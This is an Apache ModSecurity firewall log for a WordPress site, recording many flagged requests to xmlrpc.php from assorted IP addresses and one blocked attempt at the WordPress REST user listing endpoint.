[Wed Apr 15 02:47:24.784342 2026] [:error] [pid 62295:tid 62319] [client 209.42.22.188:36316] [client 209.42.22.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.42.22.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6LvBng-JDNFCa0Bnia0gAAABQ"]
[Wed Apr 15 02:47:57.165889 2026] [:error] [pid 62297:tid 62364] [client 51.68.74.67:44768] [client 51.68.74.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.68.74.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6L3avogcWlrafOEaHlZQAAAQo"]
[Wed Apr 15 02:50:51.723435 2026] [:error] [pid 62296:tid 62328] [client 94.23.210.48:38290] [client 94.23.210.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.23.210.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Mi8TNd04nWM2DK4St1wAAAEE"]
[Wed Apr 15 02:51:32.237597 2026] [:error] [pid 62295:tid 62313] [client 162.222.34.234:46084] [client 162.222.34.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.222.34.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6MtBng-JDNFCa0BnicdwAAAA4"]
[Wed Apr 15 02:54:03.326568 2026] [:error] [pid 62295:tid 62302] [client 148.113.202.220:39834] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6NSxng-JDNFCa0BnidegAAAAM"]
[Wed Apr 15 02:57:52.800032 2026] [:error] [pid 62296:tid 62347] [client 52.7.119.212:49274] [client 52.7.119.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.7.119.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6OMMTNd04nWM2DK4SycQAAAFQ"]
[Wed Apr 15 02:58:24.753145 2026] [:error] [pid 62295:tid 62303] [client 185.246.164.237:43778] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.164.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6OUBng-JDNFCa0BnifTgAAAAQ"]
[Wed Apr 15 03:03:19.074084 2026] [:error] [pid 62296:tid 62336] [client 147.45.149.57:59302] [client 147.45.149.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.45.149.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Pd8TNd04nWM2DK4S3TwAAAEk"]
[Wed Apr 15 03:04:46.494352 2026] [:error] [pid 62432:tid 62447] [client 79.117.246.51:58081] [client 79.117.246.51] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ad6PzrPtNET7V_vfTPfr_gAAAUw"]
[Wed Apr 15 03:05:45.150926 2026] [:error] [pid 17734:tid 17763] [client 172.176.155.194:45976] [client 172.176.155.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.176.155.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6QCdN3xsztF3DFLWwg8wAAAJg"]
[Wed Apr 15 03:06:24.528844 2026] [:error] [pid 62432:tid 62440] [client 79.117.246.51:60015] [client 79.117.246.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.117.246.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6QMLPtNET7V_vfTPfsaAAAAUU"]
[Wed Apr 15 03:06:44.852251 2026] [:error] [pid 62296:tid 62337] [client 213.165.69.184:35276] [client 213.165.69.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.165.69.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6QRMTNd04nWM2DK4S50wAAAEo"]
[Wed Apr 15 03:07:09.463183 2026] [:error] [pid 62296:tid 62341] [client 167.86.71.49:40002] [client 167.86.71.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.71.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6QXcTNd04nWM2DK4S6NwAAAE4"]
[Wed Apr 15 03:07:51.767558 2026] [:error] [pid 62297:tid 62372] [client 79.117.246.51:61716] [client 79.117.246.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.117.246.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Qh6vogcWlrafOEaHtuQAAARI"]
[Wed Apr 15 03:09:22.737931 2026] [:error] [pid 17734:tid 17757] [client 79.117.246.51:63062] [client 79.117.246.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.117.246.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Q4tN3xsztF3DFLWwhhQAAAJI"]
[Wed Apr 15 03:15:31.208824 2026] [:error] [pid 17866:tid 17878] [client 185.74.80.5:41018] [client 185.74.80.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.74.80.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6SU7x_17kv70EUVIlWYwAAAYo"]
[Wed Apr 15 03:20:17.926123 2026] [:error] [pid 62296:tid 62350] [client 150.95.26.37:33853] [client 150.95.26.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.95.26.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6TccTNd04nWM2DK4S_8wAAAFc"]
[Wed Apr 15 03:25:41.354006 2026] [:error] [pid 62296:tid 62343] [client 82.66.189.231:50096] [client 82.66.189.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.66.189.231, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6UtcTNd04nWM2DK4TBNQAAAFA"]
[Wed Apr 15 03:26:13.908272 2026] [:error] [pid 62297:tid 62376] [client 54.36.181.89:33666] [client 54.36.181.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.181.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6U1avogcWlrafOEaHxrQAAARY"]
[Wed Apr 15 03:29:00.873411 2026] [:error] [pid 17926:tid 17938] [client 194.163.159.96:48112] [client 194.163.159.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.163.159.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6VfPKxFvgDwMI04zBphQAAAcU"]
[Wed Apr 15 03:40:21.216232 2026] [:error] [pid 64398:tid 64410] [client 143.198.119.177:42392] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6YJYikdzJ_p6U7WLK9UgAAAMo"]
[Wed Apr 15 03:42:50.864425 2026] [:error] [pid 64234:tid 64367] [client 202.47.50.174:55427] [client 202.47.50.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.50.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6YumIvxIQ_DijCwwEWngAAAIg"]
[Wed Apr 15 03:43:01.590371 2026] [:error] [pid 64233:tid 64337] [client 202.47.54.169:42987] [client 202.47.54.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.54.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6YxdRBFIrFqihfmAL9DgAAAEU"]
[Wed Apr 15 03:43:12.145857 2026] [:error] [pid 64234:tid 64379] [client 202.47.48.158:24343] [client 202.47.48.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.48.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Y0GIvxIQ_DijCwwEWywAAAJQ"]
[Wed Apr 15 03:43:23.057871 2026] [:error] [pid 64234:tid 64382] [client 202.47.54.169:36188] [client 202.47.54.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.54.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Y22IvxIQ_DijCwwEW6QAAAJc"]
[Wed Apr 15 03:43:27.096563 2026] [:error] [pid 64229:tid 64316] [client 159.223.217.167:45198] [client 159.223.217.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.217.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Y31Kmp2xtivFUGHySeQAAAAw"]
[Wed Apr 15 03:43:33.677276 2026] [:error] [pid 64229:tid 64306] [client 202.47.48.159:22301] [client 202.47.48.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.48.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Y5VKmp2xtivFUGHySjgAAAAI"]
[Wed Apr 15 03:43:44.518675 2026] [:error] [pid 64398:tid 64408] [client 202.47.50.175:47031] [client 202.47.50.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.50.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Y8IikdzJ_p6U7WLK_MAAAAMg"]
[Wed Apr 15 03:43:55.286921 2026] [:error] [pid 64233:tid 64351] [client 202.47.54.169:43447] [client 202.47.54.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.54.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Y-9RBFIrFqihfmAL9WQAAAFM"]
[Wed Apr 15 03:44:05.846749 2026] [:error] [pid 64398:tid 64414] [client 202.47.48.159:20197] [client 202.47.48.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.48.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZBYikdzJ_p6U7WLK_mgAAAM4"]
[Wed Apr 15 03:44:16.655385 2026] [:error] [pid 64233:tid 64350] [client 202.47.48.157:17108] [client 202.47.48.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.48.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZENRBFIrFqihfmAL9ewAAAFI"]
[Wed Apr 15 03:44:27.558970 2026] [:error] [pid 64234:tid 64361] [client 202.47.48.157:15990] [client 202.47.48.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.48.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZG2IvxIQ_DijCwwEXYQAAAII"]
[Wed Apr 15 03:44:38.222593 2026] [:error] [pid 64229:tid 64312] [client 202.47.50.173:24613] [client 202.47.50.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.50.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZJlKmp2xtivFUGHyTAQAAAAg"]
[Wed Apr 15 03:44:49.036056 2026] [:error] [pid 64233:tid 64334] [client 202.47.54.169:56962] [client 202.47.54.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.54.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZMdRBFIrFqihfmAL9nQAAAEI"]
[Wed Apr 15 03:44:59.499779 2026] [:error] [pid 64233:tid 64335] [client 202.47.54.171:57240] [client 202.47.54.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.54.171, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZO9RBFIrFqihfmAL9pgAAAEM"]
[Wed Apr 15 03:45:10.226782 2026] [:error] [pid 64398:tid 64416] [client 202.47.50.175:22011] [client 202.47.50.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.50.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZRoikdzJ_p6U7WLLAJAAAANA"]
[Wed Apr 15 03:45:21.062992 2026] [:error] [pid 64234:tid 64359] [client 202.47.54.168:63369] [client 202.47.54.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.54.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZUWIvxIQ_DijCwwEXxgAAAIA"]
[Wed Apr 15 03:45:31.654513 2026] [:error] [pid 64234:tid 64364] [client 202.47.48.161:17174] [client 202.47.48.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.48.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZW2IvxIQ_DijCwwEYDAAAAIU"]
[Wed Apr 15 03:45:42.499351 2026] [:error] [pid 64398:tid 64405] [client 202.47.48.158:31201] [client 202.47.48.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.48.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZZoikdzJ_p6U7WLLAYgAAAMU"]
[Wed Apr 15 03:45:53.432140 2026] [:error] [pid 64234:tid 64369] [client 202.47.50.175:46188] [client 202.47.50.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.50.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZcWIvxIQ_DijCwwEYMQAAAIo"]
[Wed Apr 15 03:46:04.247720 2026] [:error] [pid 64234:tid 64368] [client 202.47.54.172:4919] [client 202.47.54.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.54.172, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZfGIvxIQ_DijCwwEYSQAAAIk"]
[Wed Apr 15 03:46:15.037093 2026] [:error] [pid 64234:tid 64360] [client 202.47.48.159:36121] [client 202.47.48.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.48.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Zh2IvxIQ_DijCwwEYZwAAAIE"]
[Wed Apr 15 03:46:25.959166 2026] [:error] [pid 64229:tid 64315] [client 202.47.54.172:27967] [client 202.47.54.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.54.172, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZkVKmp2xtivFUGHyTdgAAAAs"]
[Wed Apr 15 03:46:47.331391 2026] [:error] [pid 64233:tid 64353] [client 202.47.50.173:23737] [client 202.47.50.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.50.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Zp9RBFIrFqihfmAL-OgAAAFU"]
[Wed Apr 15 03:47:08.770196 2026] [:error] [pid 64229:tid 64323] [client 202.47.54.172:5529] [client 202.47.54.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.54.172, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ZvFKmp2xtivFUGHyTvgAAABM"]
[Wed Apr 15 03:47:19.676409 2026] [:error] [pid 64234:tid 64368] [client 202.47.48.158:32165] [client 202.47.48.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.48.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Zx2IvxIQ_DijCwwEY_QAAAIk"]
[Wed Apr 15 03:47:41.208023 2026] [:error] [pid 37240:tid 37256] [client 202.47.54.172:5816] [client 202.47.54.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.54.172, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Z3Xs4QRdSGV9qPjiVgwAAAAA"]
[Wed Apr 15 03:47:52.374554 2026] [:error] [pid 37244:tid 37341] [client 124.29.225.141:61010] [client 124.29.225.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.29.225.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Z6ImfE0_5oAAxpSnl7QAAAJc"]
[Wed Apr 15 03:48:52.616931 2026] [:error] [pid 37241:tid 37308] [client 202.47.48.160:36298] [client 202.47.48.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.48.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6aJArNIniBmb0wDhf6-wAAAFQ"]
[Wed Apr 15 03:49:03.996658 2026] [:error] [pid 37244:tid 37337] [client 202.47.54.172:16299] [client 202.47.54.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.54.172, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6aL4mfE0_5oAAxpSnmZQAAAJM"]
[Wed Apr 15 03:49:46.987171 2026] [:error] [pid 37244:tid 37341] [client 202.47.48.161:9247] [client 202.47.48.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.48.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6aWomfE0_5oAAxpSnm3QAAAJc"]
[Wed Apr 15 03:50:18.070000 2026] [:error] [pid 37352:tid 37375] [client 202.47.50.173:23656] [client 202.47.50.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.50.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6aevWatDNWJ5qARjf3GwAAANU"]
[Wed Apr 15 03:51:22.654997 2026] [:error] [pid 37240:tid 37279] [client 202.47.54.170:50476] [client 202.47.54.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.54.170, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6auns4QRdSGV9qPjiXiQAAABU"]
[Wed Apr 15 03:51:33.455598 2026] [:error] [pid 37244:tid 37329] [client 202.47.50.173:8834] [client 202.47.50.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.50.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6axYmfE0_5oAAxpSnnhQAAAIs"]
[Wed Apr 15 03:51:52.125210 2026] [:error] [pid 37241:tid 37309] [client 104.37.174.183:48854] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6a2ArNIniBmb0wDhf8WgAAAFU"]
[Wed Apr 15 04:01:29.890185 2026] [:error] [pid 4067:tid 4146] [client 65.20.72.195:42904] [client 65.20.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.20.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6dGe5XHBJU8ZrRxZ0JOAAAAI8"]
